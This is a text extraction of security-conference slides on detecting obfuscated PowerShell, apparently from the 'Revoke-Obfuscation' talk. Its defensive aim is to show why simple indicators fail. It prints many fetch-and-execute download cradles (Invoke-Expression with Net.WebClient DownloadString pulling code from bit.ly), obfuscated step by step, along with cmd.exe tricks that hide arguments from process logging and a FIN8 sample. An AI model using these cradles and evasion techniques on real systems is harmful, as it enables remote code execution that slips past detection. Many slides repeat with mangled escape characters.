Revoke-Obfuscation

> PowerShell Obfuscation Detection Using Science

Daniel Bohannon - @danielhbohannon
Lee Holmes - @Lee_Holmes
Whois

- MANDIANT Senior Applied Security Researcher
- Invoke-Obfuscation, Invoke-CradleCrafter
- Obfuscation, evasion and detection techniques
- @danielbohannon

%ProgramData:~0,1%%ProgramData:~9,2% /c echo OBFUSCATION_FTW!
Whois

- Lead security architect of Azure Management @ MS
- Author of the Windows PowerShell Cookbook
- Original member of PowerShell Development Team
- @Lee_Holmes

iex (iwr bit.ly/e0Mw9w)
Preparing Your Environment for Investigations

- Logs (and retention) are your friend → 1) enable 2) centralize 3) LOOK/MONITOR
- Process Auditing AND Command Line Process Auditing → 4688 FTW!
  - SysInternals’ **Sysmon** is also a solid option
- Real-time Process Monitoring
  - Uproot IDS - [https://github.com/Invoke-IR/Uproot](https://github.com/Invoke-IR/Uproot)
- PowerShell Module, ScriptBlock, and Transcription logging
  - [https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html](https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html)
Launch Techniques

- **PowerShell Help** is the best in the business 😊

```
Command

Execute the specified command(s) (and any parameters) as though they were
typed at the Windows PowerShell command prompt, and then exits, unless
NoExit is specified. The value of Command can be "-", a string, or a
script block.

- If the value of Command is "-", the command text is read from standard input.
- If the value of Command is a script block, the script block must be enclosed
  in braces ({}). You can specify a script block only when running PowerShell.exe
  in Windows PowerShell. The results of the script block are returned to the
  parent shell as deserialized XML objects, not live objects.
- If the value of Command is a string, Command must be the last parameter
  in the command, because any characters typed after the command are
  interpreted as the command arguments.

To write a string that runs a Windows PowerShell command, use the format:
"@ (command)"
where the quotation marks indicate a string and the invoke operator (@)
causes the command to be executed.
```
Launch Techniques

• `powershell.exe` called by `cmd.exe`

• `cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"`
Launch Techniques

• `powershell.exe` called by `cmd.exe`

• `cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"`

• `cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"`

• `cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"`
Launch Techniques

• `powershell.exe` called by `cmd.exe`.

• `cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

• `cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

  Image: C:\Users\limited_user\Desktop\powershell.exe
  CommandLine: powershell IEX $input`
Launch Techniques

- powershell.exe called by cmd.exe.
- cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
- cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
Launch Techniques

- Is it safe to key off of cmd.exe with arguments `| powershell`??
  Of course not! "powershell" can be set and called as variables in cmd.exe

```powershell
cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^| %p1%%p2% -"
```
Launch Techniques

Here is an example of **FIN8** combining this environment variable obfuscation with PowerShell stdin invocation.

```powershell
$p = cmd /c echo %_MICROSOFT_UPDATE_CATALOG% | %_MICROSOFT_UPDATE_SERVICE%
powershell -
$Env: _CT);$o=";"$i=$s.length;$i=$Env: _PA%$l;while($o.length -ne$l){$o+=$s[$i];$i=(i+$Env: _KE)%$l}iex($o)
```
Launch Techniques

Here is an example of **FIN8** combining this environment variable obfuscation with PowerShell stdin invocation.

- **cmd.exe /c echo %var1% | %var2%**
- **cmd /c echo %MICROSOFT_UPDATE_CATALOG% | %MICROSOFT_UPDATE_SERVICE%**
- **powershell -**
- **powershell -**
- **$Env:_CT;$o="";$I=$s.length;$i=$Env:_PA%$I;while($o.length -ne$I){$o+=$s[$i];$i=($i+$Env:_KE)%$I}iex($o)**
Launch Techniques

• powershell.exe called by cmd.exe

• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

• cmd.exe /c "set cmd=Write-Host ENV -Fore Green && powershell IEX $env:cmd"

Can also use .Net function or GCI/dir:

[Environment]::GetEnvironmentVariable('cmd', 'Process')
(Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value

Kovter <3 this!
Launch Techniques

- `powershell.exe` called by `cmd.exe`
- `cmd.exe /c "echo Write-Host SUCCESS -Fore Green" | powershell -`
- `cmd.exe /c "echo Write-Host SUCCESS -Fore Green" | powershell IEX $input"
- `cmd.exe /c "set cmd=Write-Host ENV -Fore Green & powershell IEX $env:cmd"
Launch Techniques

- So we just apply detection logic to Child and Parent process arguments and we’re good...Right?
Launch Techniques

- cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
Launch Techniques

- `cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"`
- `cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"`

Does this work???
Launch Techniques

- `cmd.exe /c "echo Write-Host SUCCESS -Fore Green"`
- `cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green"`

Executes, but arguments are still visible in parent process.
Launch Techniques

• `cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"`
• `cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"`

Escape with ^ for cmd.exe
Launch Techniques

- `cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"`
- `cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% ^| powershell -"

Does this work???

Escape with ^ for cmd.exe
Launch Techniques

- `cmd.exe /c "echo Write-Host SUCCESS -Fore Green"`
- `cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green ^| powershell -"`

![Image: C:\Users\limited_user\Desktop\powershell.exe
CommandLine: powershell -
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: cmd /c echo %cmd% | powershell -]

Launch Techniques

- `cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% ^| powershell -"`
- `cmd /c echo %cmd% | powershell -`
  - `powershell -`

- Detect by recursively checking parent process command arguments?
  Not 100% of the time 😞
Launch Techniques

• Set content in one process and then query it out and execute it from another completely separate process. **NO SHARED PARENT PROCESS!**

• `cmd /c "title WINDOWS_DEFENDER_UPDATE && echo IEX (IWR https://bit.ly/L3g1t) && FOR /L %i IN (1,1,1000) DO echo"

• `cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter ^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'\^"\).CommandLine.Split([char]38)[2].Substring(5)"`
Launch Techniques

• The good news? PowerShell *script block logs* capture ALL of this.

• The bad news? *Token-layer obfuscation* persists into script block logs.
> Obfuscating the Cradle
Obfuscating the Cradle: (New-Object Net.WebClient)

  • Veil
    • downloaderCommand = "iex (New-Object Net.WebClient).DownloadString("http://%s:%s/%s")\n"
    • https://github.com/nidem/Veil/blob/master/modules/payloads/powershell/psDownloadVirtualAlloc.py#L76
  • PowerSploit
    • $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
    • https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1#L1375
  • Metasploit  (http://blog.cobaltstrike.com/2013/11/09/schtasks-persistence-with-powershell-one-liners/)

```
msf exploit(psh_web_delivery) > exploit -j
[*] Exploit running as background job.
[*] Using URL: http://0.0.0.0:8080/SRJLaYDG
[*] Local IP: http://192.168.95.225:8080/SRJLaYDG
[*] Server started.
[*] Run the following command on the target machine:
```
Obfuscating the Cradle: (New-Object Net.WebClient)


- What script block elements can we key off of for this?
Obfuscating the Cradle


- What script block elements can we key off of for this?
  - Invoke-Expression
Obfuscating the Cradle


- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object**
Obfuscating the Cradle


- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object
  - System.Net.WebClient
Obfuscating the Cradle


• What script block elements can we key off of for this?
  • Invoke-Expression
  • New-Object
  • System.Net.WebClient
  • ).DownloadString("http
Obfuscating the Cradle


• What script block elements can we key off of for this?
  • **Invoke-Expression**
  • **New-Object**
  • **System.Net.WebClient**
  • `).DownloadString("http`

• Now let's demonstrate why assumptions are dangerous!
Obfuscating the Cradle


• What script block elements can we key off of for this?
  • Invoke-Expression
  • New-Object
  • System.Net.WebClient (System.* is not necessary for .Net functions)
  • ).DownloadString("http
Obfuscating the Cradle


• What script block elements can we key off of for this?
  • Invoke-Expression
  • New-Object
  • Net.WebClient
  • ).DownloadString("http
Obfuscating the Cradle


• What script block elements can we key off of for this?
  • Invoke-Expression
  • New-Object
  • Net.WebClient
  • ).DownloadString("http (url is a string and can be concatenated)"
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object Net.WebClient).DownloadString("ht"+"tps://bit.ly/L3g1t")*

- **What script block elements can we key off of for this?**
  - **Invoke-Expression**
  - **New-Object**
  - **Net.WebClient**
  - **).DownloadString("http" (url is a string and can be concatenated)**
Obfuscating the Cradle

• `Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tps://bit.ly/L3g1t")`

• What script block elements can we key off of for this?
  • `Invoke-Expression`
  • `New-Object`
  • `Net.WebClient`
  • `).DownloadString("`
Obfuscating the Cradle

• Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?
  • Invoke-Expression
  • New-Object
  • Net.WebClient
  • ).DownloadString('" (PowerShell string can be single or double quotes)
  (...and did I mention whitespace?)
  (...URL can also be set as variable.)
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t'*)

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object**
  - **Net.WebClient**
  - `.DownloadString`
Obfuscating the Cradle


- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object
  - Net.WebClient
  - ).DownloadString( (is .DownloadString the only method for Net.WebClient?)
Obfuscating the Cradle


- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object
  - Net.WebClient
  - ).DownloadString

Net.WebClient class has options:
- .DownloadString
- .DownloadStringAsync
- .DownloadStringTaskAsync
- .DownloadFile
- .DownloadFileAsync
- .DownloadFileTaskAsync
- .DownloadData
- .DownloadDataTaskAsync
- etc.
Obfuscating the Cradle


- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object
  - Net.WebClient
  - ).Download
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object Net.WebClient).DownloadString('ht'+'tps://bit.ly/L3g1t')*

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object**
  - **Net.WebClient**
  - *(New-Object Net.WebClient).Download*
Obfuscating the Cradle


- What script block elements can we key off of for this?
  - Invoke-Expression (New-Object Net.WebClient) can be set as a variable:
  $wc = New-Object Net.Webclient; $wc.DownloadString('ht'+tps://bit.ly/L3g1t')
Obfuscating the Cradle

- **Invoke-Expression** (`New-Object Net.WebClient).DownloadString('ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object**
  - **Net.WebClient**
  - **.Download**
Obfuscating the Cradle

• Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?
  • Invoke-Expression
  • New-Object
  • Net.WebClient
  • Download (Member token obfuscation?)
Obfuscating the Cradle


• What script block elements can we key off of for this?
  • Invoke-Expression
  • New-Object
  • Net.WebClient
  • Download (single quotes...)
Obfuscating the Cradle

- Invoke-Expression (New-Object Net.WebClient)."DownloadString"( 'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object
  - Net.WebClient
  - Download (double quotes...
Obfuscating the Cradle

- Invoke-Expression (New-Object Net.WebClient)."DownloadString"( 'ht'+'tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object
  - Net.WebClient
  - Download (tick marks??)
Obfuscating the Cradle


- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object
  - Net.WebClient
  - Download

Get-Help about_Escape_Characters

Using special characters
When used within quotation marks, the escape character indicates a special character that provides instructions to the command parser.

The following special characters are recognized by Windows PowerShell:
- '0' Null
- 'a' Alert
- 'b' Backspace
- 'f' Form feed
- 'n' New line
- 'r' Carriage return
- 't' Horizontal tab
- 'v' Vertical tab

In Windows PowerShell, the escape character is the backtick (`), also called the grave accent
Obfuscating the Cradle

- Invoke-Expression (New-Object Net.WebClient)."\`D`o`wn\`l`oa`d`Str`i`n`g"( 'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object
  - Net.WebClient
  - Download

Get-Help about_Escape_Characters

USING SPECIAL CHARACTERS

When used within quotation marks, the escape character indicates a special character that provides instructions to the command parser.

The following special characters are recognized by Windows PowerShell:

- '0' Null
- 'a' Alert
- 'b' Backspace
- 'f' Form feed
- 'n' New line
- 'r' Carriage return
- 't' Horizontal tab
- 'v' Vertical tab

For example:

```
PS C:\> "1234567890123456789\nCol1|Column2|Col3" 123456789123456789
Col1 Column2 Col3
```
Obfuscating the Cradle

• Invoke-Expression (New-Object Net.WebClient)."\"D\'o\'w\'N\'l\'o\'A\'d\'S\'T\'R\'i\'N\'g"(\'ht\'+\'tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?
  • Invoke-Expression
  • New-Object
  • Net.WebClient
  • Download

Get-Help about_Escape_Characters

USING SPECIAL CHARACTERS

When used within quotation marks, the escape character indicates a special character that provides instructions to the command parser.

The following special characters are recognized by Windows PowerShell:

\0 Null
\a Alert
\b Backspace
\f Form feed
\n New line
\r Carriage return
\t Horizontal tab
\v Vertical tab

For example:

PS C:\> "123456789123456789\n\n123456789123456789\nCol1 Column2 Col3"
Obfuscating the Cradle

- `Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+tps://bit.ly/L3g1t')`

- What script block elements can we key off of for this?
  - `Invoke-Expression`
  - `New-Object`
  - `Net.WebClient`
  - `Download`
Obfuscating the Cradle

- Invoke-Expression (New-Object Net.WebClient)."`D\'o\`w`N`l`o`A\`d`S`T`R`i`N`g"( `ht`+`tps://bit.ly/L3g1t`)
Obfuscating the Cradle

- Invoke-Expression (New-Object Net.WebClient)."\'D\'o\'w\'N\'l\'o\'A\'d\'S\'T\'R\'i\'N\'g\'( 'ht'+'tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object
  - Net.WebClient
  - Download

WebClient class has options:
- .DownloadString...
- .DownloadFile...
- .DownloadData...
- .OpenRead
- .OpenReadAsync
- .OpenReadTaskAsync

(Options: RegEx all the things or scratch this indicator)
Obfuscating the Cradle

- Invoke-Expression (New-Object Net.WebClient)."\'D\'o\'w\'N\'l\'o\'A\'d\'S\'T\'R\'i\'N\'g"( 'ht'+tps://bit.ly/L3g1t')

  DownloadString CAN be treated as a string or variable with .Invoke! (req’d in PS2.0)

- Invoke-Expression (New-Object Net.WebClient).("Down"+"loadString").Invoke( 'ht'+tps://bit.ly/L3g1t')

Obfuscating the Cradle

- `Invoke-Expression (New-Object Net.WebClient)."\D\o\w\N\l\o\A\d\S\T\R\i\N\g"( 'ht'+'tps://bit.ly/L3g1t')`

- What script block elements can we key off of for this?
  - `Invoke-Expression`
  - `New-Object`
  - `Net.WebClient`
Obfuscating the Cradle

- Invoke-Expression (New-Object Net.WebClient)."\`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tps://bit.ly/L3g1t")

- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object
  - Net.WebClient
Obfuscating the Cradle

- **Invoke-Expression** (New-Object Net.WebClient)."\`D\`o\`w\`N\`l\`o\`A\`d\`S\`T\`R\`i\`N\`g"( 'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object**
  - **Net.WebClient**

  We have options...
  1. (New-Object "\`N\`e\`T\`.\`W\`e\`B\`C\`l\`i\`e\`N\`T")
  2. (New-Object ("Net"+.Web"+"Client"))
  3. $var1="Net."; $var2="WebClient"; (New-Object $var1$var2)
Obfuscating the Cradle

• **Invoke-Expression** (New-Object "\N\e\T\.`W\e\B`C`l`i`e\N`T")."\D\o\w\N\l\o\A\d\S\T\R\i\N\g"( 'ht'+tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?
  • **Invoke-Expression**
  • **New-Object**
  • **Net.WebClient**

<table>
<thead>
<tr>
<th>We have options...</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. (New-Object &quot;\N\e\T.<code>W\e\B</code>C<code>l</code>i<code>e\N</code>T&quot;)</td>
</tr>
<tr>
<td>2. (New-Object (&quot;Net&quot;+.Web+&quot;Client&quot;))</td>
</tr>
<tr>
<td>3. $var1=&quot;Net.&quot;; $var2=&quot;WebClient&quot;; (New-Object $var1$var2)</td>
</tr>
</tbody>
</table>
Obfuscating the Cradle

• **Invoke-Expression** *(New-Object "`N`e`T`::.W`e`B`C`l`i`e`N`T")."`D`o`w`N`\o`A`d`S`T`R`i`N`g"( `ht`+`tps://bit.ly/L3g1t")

• What script block elements can we key off of for this?
  • **Invoke-Expression**
  • **New-Object**
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object "\N\e\T:\W\e\B\C\1\i\e\N\T").\D\o\w\N\l\o\A\d\S\T\R\i\N\g"( 'ht'+tps://bit.ly/L3g1t')*

- **What script block elements can we key off of for this?**
  - **Invoke-Expression**
  - **New-Object**

- **There aren't any aliases for New-Object cmdlet, so shouldn't this be safe to trigger on? If only PowerShell wasn't so helpful...**
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object "\N\e\T\.:\W\e\B\C\:\i\e\N\T").\D\o\w\N\:l\o\A\:d\S\T\R\:i\N\:g"(\ht\'\+tps://bit.ly/L3g1t')*

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object**
  - **Get-Command** → shows all available functions, cmdlets, etc.
Obfuscating the Cradle

• **Invoke-Expression (New-Object "\n`e`T`.\W`e`B`C\`l`i`e`N`T").
  \`D`\o`\w`\N`\l`\o`\A`\d`S`T`R`\i`N`g"
  \'ht`+\'tps://bit.ly/L3g1t\')

• What script block elements can we key off of for this?
  • **Invoke-Expression**
  • **New-Object**

• **Get-Command** ➔ Return a single cmdlet name? Why not invoke it!
  • **Invoke-Expression (Get-Command New-Object)**

But we can be more creative...
Obfuscating the Cradle

• **Invoke-Expression** *(New-Object "\N\e\T\:\W\e\B\C\l\i\e\N\T")."\D\o\w\N\l\o\A\d\S\T\R\i\N\g"( 'ht'+tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?
  • **Invoke-Expression**
  • **New-Object**

• **Get-Command** ➔ Return a single cmdlet name? Why not invoke it!
  • & (Get-Command New-Object)
  • . (Get-Command New-Object)

There we go… invocation ops
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object "\`N\`e\`T\`.\`W\`e\`B\`C\`l\`i\`e\`N\`T\").\"D\`o\`w\`N\`l\`o\`A\`d\`S\`T\`R\`i\`N\`g"(\'ht\'+\'tps://bit.ly/L3g1t\')*

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object**

- **Get-Command** → Wildcards are our friend...
  - & (Get-Command New-Object)
  - . (Get-Command New-Object)
Obfuscating the Cradle

• **Invoke-Expression** *(New-Object "\`N`e`T`:\`W`e`B`\`C`\`l`i`e`\`N`\`T\`)."\`D`\`o`\`w`\`N`\`I`\`o`\`A`\`d`\`S`\`T`\`R`\`i`\`N`\`g"( 'ht'+tps://bit.ly/L3g1t')*

• **What script block elements can we key off of for this?**
  - **Invoke-Expression**
  - **New-Object**

• **Get-Command** → Wildcards are our friend...
  - & (Get-Command New-Objec*)
  - . (Get-Command New-Objec*)
Obfuscating the Cradle

• **Invoke-Expression** *(New-Object "\N\e\T\:\W\e\B\C\l\i\e\N\T\").* "\D\o\w\N\l\o\A\d\S\T\R\i\N\g"( 'ht'+tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?
  • **Invoke-Expression**
  • **New-Object**

• **Get-Command →** Wildcards are our friend...
  • & (Get-Command New-Objec*)
  • . (Get-Command New-Objec*)
Obfuscating the Cradle

- *Invoke-Expression* *(New-Object "\N\e\T\.:\W\e\B\C\l\i\e\N\T").\D\o\w\N\l\o\A\d\S\T\R\i\N\g*("ht'+'tps://bit.ly/L3g1t")

- What script block elements can we key off of for this?
  - *Invoke-Expression*
  - *New-Object*

- **Get-Command** → Wildcards are our friend...
  - & *(Get-Command New-Obj*)
  - . *(Get-Command New-Obj*)
Obfuscating the Cradle

• **Invoke-Expression** *(New-Object "\"N\'e\'T\'.\"W\'e\'B\'C\'l\'i\'e\'N\'T\").\"D\'o\'w\'N\'l\'o\'A\'d\'S\'T\'R\'i\'N\'g\"(\'ht\'+\'tps://bit.ly/L3g1t\'))*

• What script block elements can we key off of for this?
  • **Invoke-Expression**
  • **New-Object**

• **Get-Command** → Wildcards are our friend...
  • & *(Get-Command New-Ob*)
  • . *(Get-Command New-Ob*)
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object "'N`e`T`.`W`e`B`C`l`i`e`N`T").`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')*

- **What script block elements can we key off of for this?**
  - **Invoke-Expression**
  - **New-Object**

- **Get-Command** → Wildcards are our friend...
  - & (Get-Command New-O*)
  - . (Get-Command New-O*)
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object "N\'e\'T\'.\'W\'e\'B\'C\'l\'i\'e\'N\'T")."D\'o\'w\'N\'l\'o\'A\'d\'S\'T\'R\'i\'N\'g"(\'ht\'+\'tps://bit.ly/L3g1t')*

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object**

- **Get-Command** → Wildcards are our friend...
  - & (Get-Command *ew-O*)
  - . (Get-Command *ew-O*)
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object "\'N\'e\'T\'.\'W\'e\'B\'C\'l\'i\'e\'N\'T\').\"D\'o\'w\'N\'l\'o\'A\'d\'S\'T\'R\'i\'N\'g\"( 'ht'+tps://bit.ly/L3gt')*

- **What script block elements can we key off of for this?**
  - **Invoke-Expression**
  - **New-Object**

- **Get-Command**: Wildcards are our friend...
  - ```
   & (Get-Command *w-O*)
   . (Get-Command *w-O*)
  ```
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object "\N\e\T\.:\W\e\B\C\l\i\e\N\T").\D\o\w\N\l\o\A\d\S\T\R\i\N\g"( 'ht'+tps://bit.ly/L3g1t')*

- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object

- **Get-Command** → Did I mention Get-Command also has aliases?
  - & (Get-Command *w-O*)
  - . (Get-Command *w-O*)
  - & (GCM *w-O*)
  - . (GCM *w-O*)
Obfuscating the Cradle

• **Invoke-Expression** *(New-Object ”`N`e`T`.`W`e`B`C`l`i`e`N`T”).”`D`o`w`N`l`o`A`l`a`N`T`)*

• What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object**

• **Get-Command** → Did I mention Get-Command also has MORE aliases?
  - & (Get-Command *w-O*)
  - . (Get-Command *w-O*)
  - & (GCM *w-O*)
  - . (GCM *w-O*)
  - & (COMMAND *w-O*)
  - . (COMMAND *w-O*)

COMMAND works because PowerShell auto prepends "Get-" to any command, so COMMAND resolves to Get-Command.
Obfuscating the Cradle

- Invoke-Expression (`New-Object "\'N\'e\'T\'.'W\'e\'B\'C\'l\'i\'e\'N\'T\'\"."\'D\'o\'w\'N\'l\'o\'A\'d\'S\'T\'R\'i\'N\'g\"(\'ht\'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - Invoke-Expression
  - New-Object | Get-Command | GCM | Command
  - Get-Command → Can also be set with a string variable
    - & (Get-Command *w-O*)
    - . (Get-Command *w-O*)
    - $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)

Obfuscating the Cradle

- **Invoke-Expression** `((New-Object "\`N`e`T`.`W`e`B`C`l`i`e`N`T`). "\`D`o`w`N`l`o`A`d`S`T`R`i`N`g": `ht`+'tps://bit.ly/L3g1t`)

PowerShell 1.0 ways of calling Get-Command:

2. `$ExecutionContext.InvokeCommand.GetCmdlet("New-Ob"+"ject")
4. `$ExecutionContext.InvokeCommand.GetCmdlets("*w-o*")

- **Get-Command** → Can also be set with a string variable
  - & (Get-Command *w-O*)
  - . (Get-Command *w-O*)
  - $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)
Obfuscating the Cradle

- **Invoke-Expression** *(New-Object "\N\e\T.\W\e\B\C\l\i\e\N\T").\D\o\w\N\l\o\A\d\S\T\R\i\N\g"(\ht\'+tps://bit.ly/L3g1t')*

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object | Get-Command | GCM | Command**

  **Get-Command** → Can also be set with a string variable
  - & (Get-Command *w-O*)
  - . (Get-Command *w-O*)
  - $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)

  **NOTE:** Get-Command's cousin is just as useful...
  Get-Alias / GAL / Alias
Obfuscating the Cradle

• **Invoke-Expression** (& (GCM *w-O*) "``N'e'T. 'W'e'B'C'l'i'e'N'T'")."``D'o'w'N'l'o'A'd'S'T'R'i'N'g"( 'ht'+'tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?
  • **Invoke-Expression**
  • **New-Object** | **Get-Command** | **GCM** | **Command** | **Get-Alias** | **GAL** | **Alias**

• **Get-Command** → Can also be set with a string variable
  • & (Get-Command *w-O*)
  • & (GCM *w-O*)
  • & (COMMAND *w-O*)
  • . (Get-Command *w-O*)
  • . (GCM *w-O*)
  • . (COMMAND *w-O*)
  • $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)
Obfuscating the Cradle

- **Invoke-Expression** (& (GCM *w-O*) "\"N\'e\'T\'.\"W\'e\'B\'C\'l\'i\'e\'N\'T\")."\"D\'o\'w\'N\'l\'o\'A\'d\'S\'T\'R\'i\'N\'g$"( 'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - **New-Object** | **Get-Command** | **GCM** | **Command** | **Get-Alias** | **GAL** | **Alias**

- Given wildcards it's infeasible to find all possible ways for Get-Command/GCM/Command/Get-Alias/GAL/Alias to find and execute New-Object, so potential for FPs with this approach.
Obfuscating the Cradle

- **Invoke-Expression** (& (\`G`\`C`\`M `*w-O*) "\`N`e`T`.\`W`e`B`\`C`\`l`i\`e`N`T")."\`D`o`w`N`\`l`o`\`A`\`d`\`S`\`T`\`R`\`i`N`\`g"(\`ht\'+\`tps://bit.ly/L3g1t\')

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - `\`N`e`w`-`\`O`b`j`e`c`T | `\`G`e`T`-`\`C`o`m`m`a`N`d | `\`G`C`\`M | `\`C`O`M`\`M`A`N`D | `G`e`T`-`\`A`\`l`i`A`\`s | `\`G`A`\`L | `\`A`\`l`i`A`\`s

- Ticks also work on PowerShell cmdlets...
Obfuscating the Cradle

- **Invoke-Expression** (& (`G`C`M` *(w-O*) "`N`e`T`. `W`e`B`C`l`i`e`N`T"). "`D`o`w`N`l`o`A`d`S`T`R`i`N`g" ( 'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - `N`e`w`-'O`b`j`e`c`t` | `G`e`T`-'C`o`m`m`a`N`d` | `G`C`M` | `C`O`M`M`A`A`N`D` | `G`e`T`-'A`l`i`A`s` | `G`A`L` | `A`l`i`A`s

- Ticks also work on PowerShell cmdlets...and so do invocation operators.
  - & (`N`e`w`-'O`b`j`e`c`t`) & ({1}{0}{2} -f 'w-Ob','N',j`e`c`t')
  - . (`N`e`w`-'O`b`j`e`c`t') & ({1}{0}{2} -f 'w-Ob','N',j`e`c`t')

- Concatenated Reordered
Obfuscating the Cradle

- **Invoke-Expression** (& (`G`C`M` *w-O*) "`N`e`T`.`W`e`B`C`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( `h`t`p`+`t`ps://b`i`t.l`y/L3g1t`

- What script block elements can we key off of for this?
  - **Invoke-Expression**
  - `N`e`w` | `G`e`T`...and so do invocation operators.
  - Ticks also work on PowerShell cmdlets...and so do invocation operators.
  - Once again, Regex all the things or give up on this indicator
Obfuscating the Cradle

• Invoke-Expression (& ('G\C\M *w-O*) "`N\e`T`. `W\e`B\C\l\i\e`N\T"). "`D\o`W\N\l\o`A\d`S\T`R`i`N`g" ('ht'+'tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?
  • Invoke-Expression
Obfuscating the Cradle

- **Invoke-Expression** (& (`G`C`M *w-O*) ""N`e`T`. `W`e`B`C`l`i`e`N`T")."`D`o`W`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tps://bit.ly/L3g1t")

- What script block elements can we key off of for this?
  - **Invoke-Expression**

- What's potentially problematic about **Invoke-Expression**?
Obfuscating the Cradle

• **Invoke-Expression** (& (\`G\`C\`M *w-O*) "\`N\`e\`T\`.\`W\`e\`B\`C\`l\`i\`e\`N\`T")."\`D\`o\`w\`N\`l\`o\`A\`d\`S\`T\`R\`i\`N\`g"{'ht'+'tps://bit.ly/L3g1t'}

• What script block elements can we key off of for this?
  • **Invoke-Expression**

• What's potentially problematic about **Invoke-Expression**?
  1. Aliases: Invoke-Expression / IEX
     1. **Invoke-Expression** "Write-Host IEX Example -ForegroundColor Green"
     2. **IEX** "Write-Host IEX Example -ForegroundColor Green"
Obfuscating the Cradle

